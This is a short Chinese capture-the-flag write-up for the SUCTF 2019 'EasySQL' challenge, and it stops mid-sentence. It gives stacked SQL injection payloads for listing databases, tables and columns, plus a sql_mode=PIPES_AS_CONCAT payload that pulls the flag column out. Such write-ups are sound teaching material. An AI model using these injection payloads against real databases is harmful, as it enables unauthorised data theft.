[SUCTF 2019]EasySQL
知识点
- 堆叠注入
- sql_mode
打开题目,如图
堆叠注入
查库
1;show databases;
查表
1;show tables;
查Flag
1;show columns from Flag;
wp给的payload
payload:1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
修改sql_mode,将其设置为PIPES_AS_CONCAT,作用是将"||"作为字符串连接符而非或运算符,修改后实际语句为
SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
本地环境
修改sql_mode,将其设置为PIPES_AS_CONCAT,则将select 1
的结果和select flag from Flag
的结果合并起来一起输出,就会变成